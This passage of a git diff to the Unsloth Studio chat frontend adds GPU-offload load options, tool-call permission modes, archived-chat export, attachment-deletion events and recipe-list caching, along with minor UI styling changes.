+  // content is absent from the result (trimmed to ignore trailing-newline drift).
+  const core = full.trim();
+  return core.length > 0 && !result.includes(core);
+}
+
+/**
+ * Pick what a finished python/terminal card shows. Prefer the fuller live
+ * stream over the truncated `result`, but the result can carry failure/exit
+ * text that never reached stdout ("Exit code N: ...", timeouts), so show the
+ * stream when the result is just a truncated prefix of it, else append the
+ * result so its status survives (and the copy button copies both).
+ */
+export function preferFullToolOutput(full: string, result: string): string {
+  if (!shouldPreserveFullOutput(full, result)) {
+    return result;
+  }
+  const marker = result.indexOf(TRUNCATION_FOOTER_MARKER);
+  const core = marker === -1 ? result : result.slice(0, marker);
+  if (!core || full === result || full.startsWith(core)) {
+    return full;
+  }
+  // Failed executions prefix the result (not the stream) with "Exit code N:\n",
+  // so `full.startsWith(core)` above misses and a plain append would duplicate
+  // the stdout. Re-attach just the exit prefix (and any missing-path hint) to
+  // the fuller stream so the status survives without duplicating stdout.
+  const exitMatch = core.match(/^(Exit code -?\d+:\n)([\s\S]*)$/);
+  if (exitMatch && full.startsWith(exitMatch[2])) {
+    const hint = result.match(/\nHint:[\s\S]*$/)?.[0] ?? "";
+    return `${exitMatch[1]}${full}${hint}`;
+  }
+  return `${full.replace(/\s+$/, "")}\n\n${result}`;
+}
diff --git a/studio/frontend/src/features/chat/types.ts b/studio/frontend/src/features/chat/types.ts
index 3fe69ccc26..111510d925 100644
--- a/studio/frontend/src/features/chat/types.ts
+++ b/studio/frontend/src/features/chat/types.ts
@@ -36,6 +36,7 @@ export interface ThreadRecord {
   projectId?: string | null;
   archived: boolean;
   createdAt: number;
+  updatedAt?: number;
   /**
    * OpenAI shell tool container id from a prior response. When set, the
    * next turn reuses it via `environment.type="container_reference"` so
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 94a7e1c56b..c9c06834c1 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -1,6 +1,8 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { TransformersUpgradeInfo } from "@/features/transformers-upgrade";
+
 export interface BackendModelDetails {
   id: string;
   name?: string | null;
@@ -63,6 +65,18 @@ export interface LoadModelRequest {
    * of by layer for GGUF models. Multi-GPU only; no effect on a single GPU.
    */
   tensor_parallel?: boolean | null;
+  /** GPU memory strategy for GGUF models. "auto" (default): Unsloth selects GPUs
+   *  and caps context to fit VRAM. "manual": you own the offload -- gpu_layers
+   *  -1 (Auto) hands sizing to llama.cpp's --fit, >= 0 pins layers/n_cpu_moe. */
+  gpu_memory_mode?: "auto" | "manual";
+  /** Manual mode: layers to offload to GPU (--gpu-layers, --fit off); -1 = Auto (--fit). */
+  gpu_layers?: number;
+  /** Manual mode: MoE expert layers to keep on CPU (--n-cpu-moe); 0 = none. */
+  n_cpu_moe?: number;
+  /** Manual mode: relative model share per GPU (--tensor-split), in GPU order. */
+  tensor_split?: number[] | null;
+  /** Picked physical GPU indices (omit/empty = automatic). */
+  gpu_ids?: number[];
 }
 
 export interface ValidateModelResponse {
@@ -78,6 +92,20 @@ export interface ValidateModelResponse {
   requires_security_review?: boolean;
   /** Native context length from the local GGUF header; null until downloaded. */
   context_length?: number | null;
+  /** Total layer count (GGUF block_count); the manual gpu-layers ceiling is
+   * this + 1 (llama.cpp counts the output layer as offloadable too); null
+   *  until downloaded. */
+  layer_count?: number | null;
+  /** MoE expert-layer count from the GGUF header (manual --n-cpu-moe ceiling);
+   *  0 for dense models, null until downloaded. */
+  moe_layer_count?: number | null;
+  /** Embedded GGUF chat template, returned when include_chat_template is set
+   *  (native lease-backed picks); null for non-GGUF, over-cap, or not read. */
+  chat_template?: string | null;
+  /** Architecture only shipped by a newer transformers; UI pauses on the upgrade dialog. */
+  requires_transformers_upgrade?: boolean;
+  /** Set only when requires_transformers_upgrade. */
+  transformers_upgrade?: TransformersUpgradeInfo | null;
 }
 
 export interface GgufVariantDetail {
@@ -153,6 +181,14 @@ export interface LoadModelResponse {
   spec_draft_n_max?: number | null;
   /** Whether tensor-parallel split (--split-mode tensor) is active. */
   tensor_parallel?: boolean;
+  gpu_memory_mode?: "auto" | "manual";
+  gpu_layers?: number;
+  n_cpu_moe?: number;
+  tensor_split?: number[] | null;
+  n_layers?: number | null;
+  /** Model's MoE expert-layer count (the n_cpu_moe ceiling); 0 if not MoE. */
+  n_moe_layers?: number;
+  gpu_ids?: number[] | null;
 }
 
 export interface UnloadModelRequest {
@@ -197,6 +233,17 @@ export interface InferenceStatusResponse {
   spec_draft_n_max?: number | null;
   /** Whether tensor-parallel split (--split-mode tensor) is active. */
   tensor_parallel?: boolean;
+  gpu_memory_mode?: "auto" | "manual";
+  gpu_layers?: number;
+  n_cpu_moe?: number;
+  tensor_split?: number[] | null;
+  /** n_ctx the active GGUF load was invoked with (0 = Auto); re-seeds a
+   * Manual + Auto-layers context pin on hydration. Null for non-GGUF. */
+  requested_context_length?: number | null;
+  gpu_ids?: number[] | null;
+  n_layers?: number | null;
+  /** Model's MoE expert-layer count (the n_cpu_moe ceiling); 0 if not MoE. */
+  n_moe_layers?: number;
   /**
    * Why MTP was disabled on the loaded model despite being requested.
    * "binary_no_mtp" / "binary_outdated" -> updating llama.cpp would re-enable
@@ -343,6 +390,15 @@ export interface OpenAIChatCompletionsRequest {
   mcp_enabled?: boolean;
   /** Local models + enable_tools only. */
   confirm_tool_calls?: boolean;
+  /**
+   * Local models + enable_tools only. Gate level for local tool calls: "ask"
+   * prompts on every call, "auto" prompts only on calls flagged unsafe, "off"
+   * never prompts, "full" never prompts and drops the sandbox. Unset behaves
+   * as "ask".
+   */
+  permission_mode?: "ask" | "auto" | "off" | "full";
+  /** Local models + enable_tools only. Full-access escape hatch. */
+  bypass_permissions?: boolean;
   /** `kb_id` is exclusive; otherwise project and thread scopes may combine. */
   rag_scope?: {
     kb_id?: string;
@@ -357,6 +413,7 @@ export interface OpenAIChatCompletionsRequest {
     context_length?: number;
   };
   auto_heal_tool_calls?: boolean;
+  nudge_tool_calls?: boolean;
   max_tool_calls_per_message?: number;
   tool_call_timeout?: number;
   session_id?: string;
diff --git a/studio/frontend/src/features/chat/utils/archived-chat-export.ts b/studio/frontend/src/features/chat/utils/archived-chat-export.ts
new file mode 100644
index 0000000000..834dfdcf5f
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/archived-chat-export.ts
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Minimal views over the `unknown[]` export fields we filter on.
+type ExportThreadView = {
+  id?: string;
+  archived?: boolean;
+  projectId?: string | null;
+};
+type ExportMessageView = { threadId?: string };
+type ExportProjectView = { id?: string };
+
+// Full chat-export backup shape, kept structural so the pure filter below
+// stays decoupled from the storage layer that produces it.
+export interface ChatExportData {
+  exportedAt?: string;
+  version?: number;
+  threadCount: number;
+  projects?: unknown[];
+  threads: unknown[];
+  messages: unknown[];
+}
+
+// Restrict a full chat export to archived threads, their messages and the
+// projects those threads belong to. Pure: never mutates the input, and keeps
+// the original thread/message objects so the backup re-imports unchanged.
+export function filterArchivedChatExport<T extends ChatExportData>(
+  full: T,
+): { data: T; archivedCount: number } {
+  const archivedThreads = (full.threads as ExportThreadView[]).filter(
+    (thread) => thread.archived === true,
+  );
+  const archivedThreadIds = new Set(
+    archivedThreads
+      .map((thread) => thread.id)
+      .filter((id): id is string => typeof id === "string"),
+  );
+  const messages = (full.messages as ExportMessageView[]).filter(
+    (message) =>
+      typeof message.threadId === "string" &&
+      archivedThreadIds.has(message.threadId),
+  );
+  const referencedProjectIds = new Set(
+    archivedThreads
+      .map((thread) => thread.projectId)
+      .filter((id): id is string => typeof id === "string"),
+  );
+  const projects = (full.projects as ExportProjectView[] | undefined)?.filter(
+    (project) =>
+      typeof project.id === "string" && referencedProjectIds.has(project.id),
+  );
+  return {
+    data: {
+      ...full,
+      threadCount: archivedThreads.length,
+      projects: projects ?? [],
+      threads: archivedThreads as unknown[],
+      messages: messages as unknown[],
+    },
+    archivedCount: archivedThreads.length,
+  };
+}
diff --git a/studio/frontend/src/features/chat/utils/chat-attachment-events.ts b/studio/frontend/src/features/chat/utils/chat-attachment-events.ts
new file mode 100644
index 0000000000..dbde157890
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/chat-attachment-events.ts
@@ -0,0 +1,123 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+/**
+ * Notifies loaded chat runtimes when the Data tab deletes a stored attachment.
+ * Without this, the active thread's in-memory repository still holds the
+ * attachment, and any later repo-to-storage sync (e.g. deleting a message in
+ * that thread) writes it back, undoing the deletion.
+ */
+
+import forge from "node-forge";
+
+export type ChatAttachmentDeletedEvent = {
+  messageId: string;
+  attachmentId: string;
+};
+
+const CONTENT_PART_ID_PREFIX = "content-part-sha256-";
+const URI_SCHEME_RE = /^[A-Za-z][A-Za-z0-9+.-]*:/;
+
+function isLocallyStoredBlob(value: string): boolean {
+  const candidate = value.trimStart();
+  if (!candidate) return false;
+  if (candidate.slice(0, 5).toLowerCase() === "data:") return true;
+  if (candidate.startsWith("//") || candidate.startsWith("\\\\")) {
+    return false;
+  }
+  return !URI_SCHEME_RE.test(candidate);
+}
+
+function stableJson(value: unknown): string {
+  if (Array.isArray(value)) {
+    return `[${value
+      .map((item) => (item === undefined ? "null" : stableJson(item)))
+      .join(",")}]`;
+  }
+  if (value && typeof value === "object") {
+    const record = value as Record<string, unknown>;
+    return `{${Object.keys(record)
+      .filter((key) => record[key] !== undefined)
+      .sort()
+      .map((key) => `${JSON.stringify(key)}:${stableJson(record[key])}`)
+      .join(",")}}`;
+  }
+  return JSON.stringify(value) ?? "null";
+}
+
+/** Canonical payload used to detect whether an async hash still describes the
+ * current message content. */
+export function chatContentPartAttachmentSignature(
+  part: unknown,
+): string | null {
+  if (!part || typeof part !== "object") return null;
+  const record = part as Record<string, unknown>;
+  let payload: ["image" | "audio", unknown] | null = null;
+  if (
+    typeof record.image === "string" &&
+    record.image.slice(0, 5).toLowerCase() === "data:"
+  ) {
+    payload = ["image", record.image];
+  } else if (
+    typeof record.audio === "string" &&
+    isLocallyStoredBlob(record.audio)
+  ) {
+    payload = ["audio", record.audio];
+  } else if (record.audio && typeof record.audio === "object") {
+    const data = (record.audio as Record<string, unknown>).data;
+    if (typeof data === "string" && isLocallyStoredBlob(data)) {
+      payload = ["audio", record.audio];
+    }
+  }
+  if (!payload) return null;
+
+  return stableJson(payload);
+}
+
+/** Mirrors the backend's stable content-part identity without adding private
+ * metadata to the message payload sent to inference. */
+export async function chatContentPartAttachmentIdFromSignature(
+  signature: string,
+): Promise<string> {
+  let hex: string | null = null;
+  const subtle = globalThis.crypto?.subtle;
+  if (subtle) {
+    try {
+      const digest = await subtle.digest(
+        "SHA-256",
+        new TextEncoder().encode(signature),
+      );
+      hex = Array.from(new Uint8Array(digest), (byte) =>
+        byte.toString(16).padStart(2, "0"),
+      ).join("");
+    } catch {
+      // Fall through to the pure-JS implementation below. Some embedded
+      // browsers expose crypto.subtle but reject it outside a secure context.
+    }
+  }
+  if (hex === null) {
+    const digest = forge.md.sha256.create();
+    digest.update(signature, "utf8");
+    hex = digest.digest().toHex();
+  }
+  return `${CONTENT_PART_ID_PREFIX}${hex}`;
+}
+
+type Listener = (event: ChatAttachmentDeletedEvent) => void | Promise<void>;
+
+const listeners = new Set<Listener>();
+
+export function onChatAttachmentDeleted(listener: Listener): () => void {
+  listeners.add(listener);
+  return () => {
+    listeners.delete(listener);
+  };
+}
+
+export function emitChatAttachmentDeleted(
+  event: ChatAttachmentDeletedEvent,
+): void {
+  for (const listener of [...listeners]) {
+    void listener(event);
+  }
+}
diff --git a/studio/frontend/src/features/chat/utils/chat-history-storage.ts b/studio/frontend/src/features/chat/utils/chat-history-storage.ts
index 4294887df0..2ed17c26a0 100644
--- a/studio/frontend/src/features/chat/utils/chat-history-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-history-storage.ts
@@ -324,7 +324,7 @@ async function importLegacyChatsIfNeeded(): Promise<void> {
   if (legacyChatImportPromise) return legacyChatImportPromise;
 
   legacyChatImportPromise = (async () => {
-    // Fast-path: no Dexie DB -- new user, never had browser-only Studio.
+    // Fast-path: no Dexie DB -- new user, never had browser-only Unsloth.
     if (await dexieDbAbsent()) {
       markLegacyChatImportDone();
       return;
@@ -590,7 +590,10 @@ export async function listStoredChatThreads(
   }
   return Array.from(byId.values())
     .filter((thread) => matchesThreadListArgs(thread, args))
-    .sort((a, b) => b.createdAt - a.createdAt);
+    .sort(
+      (a, b) =>
+        (b.updatedAt ?? b.createdAt) - (a.updatedAt ?? a.createdAt),
+    );
 }
 
 export async function listStoredChatThreadsWithMessages(
diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
index 4e457920d1..4899cb9c83 100644
--- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
@@ -21,6 +21,7 @@ import type { ReasoningEffort } from "../stores/chat-runtime-store";
 
 const AUTO_TITLE_KEY = "unsloth_chat_auto_title";
 const AUTO_HEAL_TOOL_CALLS_KEY = "unsloth_auto_heal_tool_calls";
+const NUDGE_TOOL_CALLS_KEY = "unsloth_nudge_tool_calls";
 const MAX_TOOL_CALLS_KEY = "unsloth_max_tool_calls_per_message";
 const TOOL_CALL_TIMEOUT_KEY = "unsloth_tool_call_timeout";
 const INFERENCE_PARAMS_KEY = "unsloth_chat_inference_params";
@@ -223,6 +224,7 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
     value.allowArtifactNetworkAccess,
   );
   const autoHealToolCalls = sanitizeBool(value.autoHealToolCalls);
+  const nudgeToolCalls = sanitizeBool(value.nudgeToolCalls);
   const maxToolCallsPerMessage = sanitizeInt(value.maxToolCallsPerMessage, 1);
   const toolCallTimeout = sanitizeInt(value.toolCallTimeout, 1);
 
@@ -245,6 +247,9 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
@@ -305,6 +310,7 @@ export function isEmptyChatSettings(settings: PersistedChatSettings): boolean {
     settings.collapseHtmlArtifacts === undefined &&
     settings.allowArtifactNetworkAccess === undefined &&
     settings.autoHealToolCalls === undefined &&
+    settings.nudgeToolCalls === undefined &&
     settings.maxToolCallsPerMessage === undefined &&
     settings.toolCallTimeout === undefined
   );
@@ -335,6 +341,7 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   const collapseHtmlArtifacts = loadBool(COLLAPSE_HTML_ARTIFACTS_KEY);
   const allowArtifactNetworkAccess = loadBool(ALLOW_ARTIFACT_NETWORK_ACCESS_KEY);
   const autoHealToolCalls = loadBool(AUTO_HEAL_TOOL_CALLS_KEY);
+  const nudgeToolCalls = loadBool(NUDGE_TOOL_CALLS_KEY);
   const maxToolCallsPerMessage = loadInt(MAX_TOOL_CALLS_KEY, 1);
   const toolCallTimeout = loadInt(TOOL_CALL_TIMEOUT_KEY, 1);
   const allCustomPresets = sanitizeCustomPresets([
@@ -361,6 +368,9 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
diff --git a/studio/frontend/src/features/chat/utils/download-json.ts b/studio/frontend/src/features/chat/utils/download-json.ts
new file mode 100644
index 0000000000..0c5ce00ff9
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/download-json.ts
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Save `data` as a pretty-printed JSON file via a temporary object URL. Uses
+// only the standard Blob/anchor download path so it works in every browser.
+export function triggerJsonDownload(data: unknown, filename: string): void {
+  const blob = new Blob([JSON.stringify(data, null, 2)], {
+    type: "application/json",
+  });
+  const url = URL.createObjectURL(blob);
+  const a = document.createElement("a");
+  a.href = url;
+  a.download = filename;
+  document.body.appendChild(a);
+  a.click();
+  a.remove();
+  URL.revokeObjectURL(url);
+}
diff --git a/studio/frontend/src/features/chat/utils/export-chat-history.ts b/studio/frontend/src/features/chat/utils/export-chat-history.ts
index 5faf4dc08a..6f641a9fa9 100644
--- a/studio/frontend/src/features/chat/utils/export-chat-history.ts
+++ b/studio/frontend/src/features/chat/utils/export-chat-history.ts
@@ -1,21 +1,43 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { downloadFile } from "@/lib/native-files";
+
+import { filterArchivedChatExport } from "./archived-chat-export";
 import { buildStoredChatExport } from "./chat-history-storage";
 
 export const buildChatExport = buildStoredChatExport;
 
+function dateStamp(): string {
+  // Date only (no colons) so the filename is valid on every OS.
+  return new Date().toISOString().slice(0, 10);
+}
+
 export async function downloadChatExport(): Promise<void> {
   const data = await buildChatExport();
-  const blob = new Blob([JSON.stringify(data, null, 2)], {
-    type: "application/json",
-  });
-  const url = URL.createObjectURL(blob);
-  const a = document.createElement("a");
-  a.href = url;
-  a.download = `unsloth-chats-${new Date().toISOString().slice(0, 10)}.json`;
-  document.body.appendChild(a);
-  a.click();
-  a.remove();
-  URL.revokeObjectURL(url);
+  await downloadFile(
+    JSON.stringify(data, null, 2),
+    `unsloth-chats-${dateStamp()}.json`,
+    "application/json",
+  );
+}
+
+// Full backup restricted to archived chats. Returns the archived thread count.
+export async function buildArchivedChatExport() {
+  return filterArchivedChatExport(await buildChatExport());
+}
+
+// Download only the archived chats. Returns how many were exported; skips the
+// download entirely when there are none.
+export async function downloadArchivedChatExport(): Promise<number> {
+  const { data, archivedCount } = await buildArchivedChatExport();
+  if (archivedCount === 0) {
+    return 0;
+  }
+  await downloadFile(
+    JSON.stringify(data, null, 2),
+    `unsloth-archived-chats-${dateStamp()}.json`,
+    "application/json",
+  );
+  return archivedCount;
 }
diff --git a/studio/frontend/src/features/chat/utils/last-local-model-load.ts b/studio/frontend/src/features/chat/utils/last-local-model-load.ts
new file mode 100644
index 0000000000..099386fbc7
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/last-local-model-load.ts
@@ -0,0 +1,86 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export type LastLocalModelKind = "gguf" | "model";
+
+export type LastLocalModelLoad = {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant: string | null;
+  loadedAt: number;
+};
+
+const STORAGE_KEY = "unsloth.last-local-model-load.v1";
+
+function storage(): Storage | null {
+  try {
+    return typeof localStorage === "undefined" ? null : localStorage;
+  } catch {
+    return null;
+  }
+}
+
+function isLastLocalModelKind(value: unknown): value is LastLocalModelKind {
+  return value === "gguf" || value === "model";
+}
+
+export function readLastLocalModelLoad(): LastLocalModelLoad | null {
+  try {
+    const raw = storage()?.getItem(STORAGE_KEY);
+    if (!raw) {
+      return null;
+    }
+    const parsed = JSON.parse(raw) as Partial<LastLocalModelLoad>;
+    if (
+      typeof parsed.id !== "string" ||
+      !parsed.id.trim() ||
+      !isLastLocalModelKind(parsed.kind) ||
+      typeof parsed.loadedAt !== "number"
+    ) {
+      return null;
+    }
+    if (
+      parsed.kind === "gguf" &&
+      (typeof parsed.ggufVariant !== "string" || !parsed.ggufVariant.trim())
+    ) {
+      return null;
+    }
+    return {
+      id: parsed.id,
+      kind: parsed.kind,
+      ggufVariant:
+        typeof parsed.ggufVariant === "string" ? parsed.ggufVariant : null,
+      loadedAt: parsed.loadedAt,
+    };
+  } catch {
+    return null;
+  }
+}
+
+export function recordLastLocalModelLoad(input: {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant?: string | null;
+}): void {
+  const id = input.id.trim();
+  if (!id) {
+    return;
+  }
+  const ggufVariant = input.ggufVariant?.trim() || null;
+  if (input.kind === "gguf" && !ggufVariant) {
+    return;
+  }
+  try {
+    storage()?.setItem(
+      STORAGE_KEY,
+      JSON.stringify({
+        id,
+        kind: input.kind,
+        ggufVariant: input.kind === "gguf" ? ggufVariant : null,
+        loadedAt: Date.now(),
+      } satisfies LastLocalModelLoad),
+    );
+  } catch {
+    // Ignore disabled storage / quota errors; auto-load falls back to size order.
+  }
+}
diff --git a/studio/frontend/src/features/data-recipes/data/recipes-db.ts b/studio/frontend/src/features/data-recipes/data/recipes-db.ts
index f89707e159..3ffe09c2d2 100644
--- a/studio/frontend/src/features/data-recipes/data/recipes-db.ts
+++ b/studio/frontend/src/features/data-recipes/data/recipes-db.ts
@@ -16,11 +16,40 @@ db.version(1).stores({
 });
 
 const recentRecipeCache = new Map<string, RecipeRecord>();
+let cachedRecipeList: RecipeRecord[] = [];
+let recipeListReady = false;
+let recipeListRequest: Promise<RecipeRecord[]> | null = null;
 
 export function listRecipes(): Promise<RecipeRecord[]> {
   return db.recipes.orderBy("updatedAt").reverse().toArray();
 }
 
+function cacheRecipeList(recipes: RecipeRecord[]): RecipeRecord[] {
+  for (const recipe of recipes) {
+    writeRecipeCache(recipe);
+  }
+  cachedRecipeList = recipes;
+  recipeListReady = true;
+  return recipes;
+}
+
+export function preloadRecipes(): Promise<RecipeRecord[]> {
+  if (recipeListReady) {
+    return Promise.resolve(cachedRecipeList);
+  }
+  if (recipeListRequest) {
+    return recipeListRequest;
+  }
+
+  const request = listRecipes()
+    .then(cacheRecipeList)
+    .finally(() => {
+      recipeListRequest = null;
+    });
+  recipeListRequest = request;
+  return request;
+}
+
 export function getRecipe(id: string): Promise<RecipeRecord | undefined> {
   return db.recipes.get(id);
 }
@@ -55,12 +84,21 @@ export async function saveRecipe(
   };
   await db.recipes.put(record);
   writeRecipeCache(record);
+  if (recipeListReady) {
+    cachedRecipeList = [
+      record,
+      ...cachedRecipeList.filter((recipe) => recipe.id !== record.id),
+    ].sort((a, b) => b.updatedAt - a.updatedAt);
+  }
   return record;
 }
 
 export async function deleteRecipe(id: string): Promise<void> {
   await db.recipes.delete(id);
   recentRecipeCache.delete(id);
+  if (recipeListReady) {
+    cachedRecipeList = cachedRecipeList.filter((recipe) => recipe.id !== id);
+  }
 }
 
 export function createRecipeDraft(): Promise<RecipeRecord> {
@@ -87,15 +125,13 @@ export function useRecipes(): {
   recipes: RecipeRecord[];
   ready: boolean;
 } {
-  const [recipes, setRecipes] = useState<RecipeRecord[]>([]);
-  const [ready, setReady] = useState(false);
+  const [recipes, setRecipes] = useState<RecipeRecord[]>(cachedRecipeList);
+  const [ready, setReady] = useState(recipeListReady);
 
   useEffect(() => {
     const sub = liveQuery(() => listRecipes()).subscribe({
       next: (value) => {
-        for (const recipe of value) {
-          writeRecipeCache(recipe);
-        }
+        cacheRecipeList(value);
         setRecipes(value);
         setReady(true);
       },
diff --git a/studio/frontend/src/features/data-recipes/index.ts b/studio/frontend/src/features/data-recipes/index.ts
index d085096e0d..a75dd7075a 100644
--- a/studio/frontend/src/features/data-recipes/index.ts
+++ b/studio/frontend/src/features/data-recipes/index.ts
@@ -3,3 +3,4 @@
 
 export { DataRecipesPage } from "./pages/data-recipes-page";
 export { EditRecipePage } from "./pages/edit-recipe-page";
+export { preloadRecipes } from "./data/recipes-db";
diff --git a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
index 76f443afe4..7716671151 100644
--- a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
+++ b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
@@ -25,10 +25,10 @@ import {
   EmptyTitle,
 } from "@/components/ui/empty";
 import { ShineBorder } from "@/components/ui/shine-border";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { toastError } from "@/shared/toast";
 import {
   Album02Icon,
-  ArrowDown01Icon,
   CodeIcon,
   CookBookIcon,
   Database02Icon,
@@ -280,7 +280,7 @@ function LearningRecipeCards({
                       <Badge
                         key={`${template.title}-${badge}`}
                         variant="outline"
-                        className="h-5 shrink-0 px-1.5 text-[10px] dark:text-zinc-300"
+                        className="h-5 shrink-0 px-1.5 text-ui-10 dark:text-zinc-300"
                       >
                         {badge}
                       </Badge>
@@ -288,7 +288,7 @@ function LearningRecipeCards({
                     {extraLearningBadgeCount > 0 ? (
                       <Badge
                         variant="outline"
-                        className="h-5 shrink-0 px-1.5 text-[10px] dark:text-zinc-300"
+                        className="h-5 shrink-0 px-1.5 text-ui-10 dark:text-zinc-300"
                       >
                         +{extraLearningBadgeCount}
                       </Badge>
@@ -296,7 +296,7 @@ function LearningRecipeCards({
                     {isReady ? null : (
                       <Badge
                         variant="secondary"
-                        className="h-5 shrink-0 px-1.5 text-[10px] dark:text-zinc-300"
+                        className="h-5 shrink-0 px-1.5 text-ui-10 dark:text-zinc-300"
                       >
                         Soon
                       </Badge>
@@ -403,7 +403,7 @@ export function DataRecipesPage(): ReactElement {
       <main className="mx-auto w-full max-w-7xl px-5 py-8 sm:px-9">
         <div className="flex items-center justify-between gap-4">
           <div>
-            <h1 className="text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]">
+            <h1 className="text-ui-30 font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-ui-34">
               Data Recipes
             </h1>
             <p className="mt-1 text-sm text-muted-foreground">
@@ -415,7 +415,10 @@ export function DataRecipesPage(): ReactElement {
               <Button type="button" disabled={isBusy}>
                 <HugeiconsIcon icon={PlusSignIcon} className="size-4" />
                 New Recipe
-                <HugeiconsIcon icon={ArrowDown01Icon} className="size-4" />
+                <HugeiconsIcon
+                  icon={ChevronDownStandardIcon}
+                  className="size-4"
+                />
               </Button>
             </DropdownMenuTrigger>
             <DropdownMenuContent align="end">
@@ -439,7 +442,88 @@ export function DataRecipesPage(): ReactElement {
           </DropdownMenu>
         </div>
 
-        {!ready ? (
+        {ready ? (
+          recipes.length === 0 ? (
+            <Empty className="mt-8 border border-dashed border-border/70 dark:border-none">
+              <EmptyHeader>
+                <EmptyMedia variant="icon">
+                  <HugeiconsIcon icon={CookBookIcon} className="size-5" />
+                </EmptyMedia>
+                <EmptyTitle>No recipes yet</EmptyTitle>
+                <EmptyDescription>
+                  Browse Learning Recipes below to understand how recipe
+                  workflows work.
+                </EmptyDescription>
+              </EmptyHeader>
+              <EmptyContent className="max-w-6xl items-stretch">
+                {/*<Button*/}
+                {/*  type="button"*/}
+                {/*  variant="secondary"*/}
+                {/*  className="mx-auto"*/}
+                {/*  onClick={() => setLearningDialogOpen(true)}*/}
+                {/*  disabled={isBusy}*/}
+                {/*>*/}
+                {/*  <HugeiconsIcon icon={CookBookIcon} className="size-4" />*/}
+                {/*  Start Tutorial*/}
+                {/*</Button>*/}
+                <LearningRecipeCards
+                  onSelect={(template) => {
+                    openLearningRecipe(template).catch(() => undefined);
+                  }}
+                  loadingTemplateId={loadingTemplateId}
+                />
+              </EmptyContent>
+            </Empty>
+          ) : (
+            <div className="mt-8 space-y-2">
+              {recipes.map((recipe) => (
+                <div
+                  key={recipe.id}
+                  className="flex items-center gap-3 rounded-xl border bg-card px-4 py-3"
+                >
+                  <button
+                    type="button"
+                    className="flex min-w-0 flex-1 items-center gap-3 text-left"
+                    onClick={() => openRecipe(recipe)}
+                  >
+                    <div className="flex size-9 shrink-0 items-center justify-center rounded-lg border border-border/70 bg-muted/20">
+                      <HugeiconsIcon
+                        icon={CookBookIcon}
+                        className="size-4 text-muted-foreground"
+                      />
+                    </div>
+                    <div className="min-w-0">
+                      <div className="flex items-center gap-2">
+                        <p className="truncate text-sm font-medium">
+                          {recipe.name}
+                        </p>
+                        {recipe.learningRecipeId ? (
+                          <Badge variant="outline">Learning Recipe</Badge>
+                        ) : null}
+                      </div>
+                      <p className="text-xs text-muted-foreground">
+                        Last updated {formatRelativeTime(recipe.updatedAt)} |
+                        Created {formatRelativeTime(recipe.createdAt)}
+                      </p>
+                    </div>
+                  </button>
+                  <Button
+                    type="button"
+                    variant="ghost"
+                    size="icon"
+                    className="size-8"
+                    onClick={() => {
+                      handleDeleteRecipe(recipe.id).catch(() => undefined);
+                    }}
+                    aria-label={`Delete ${recipe.name}`}
+                  >
+                    <HugeiconsIcon icon={Delete02Icon} className="size-4" />
+                  </Button>
+                </div>
+              ))}
+            </div>
+          )
+        ) : (
           <div className="mt-8 rounded-2xl border border-border/70 bg-card px-6 py-10 text-center">
             <p className="text-sm font-medium text-foreground">
               Loading recipes
@@ -448,85 +532,6 @@ export function DataRecipesPage(): ReactElement {
               Fetching your saved recipes and learning templates.
             </p>
           </div>
-        ) : recipes.length === 0 ? (
-          <Empty className="mt-8 border border-dashed border-border/70 dark:border-none">
-            <EmptyHeader>
-              <EmptyMedia variant="icon">
-                <HugeiconsIcon icon={CookBookIcon} className="size-5" />
-              </EmptyMedia>
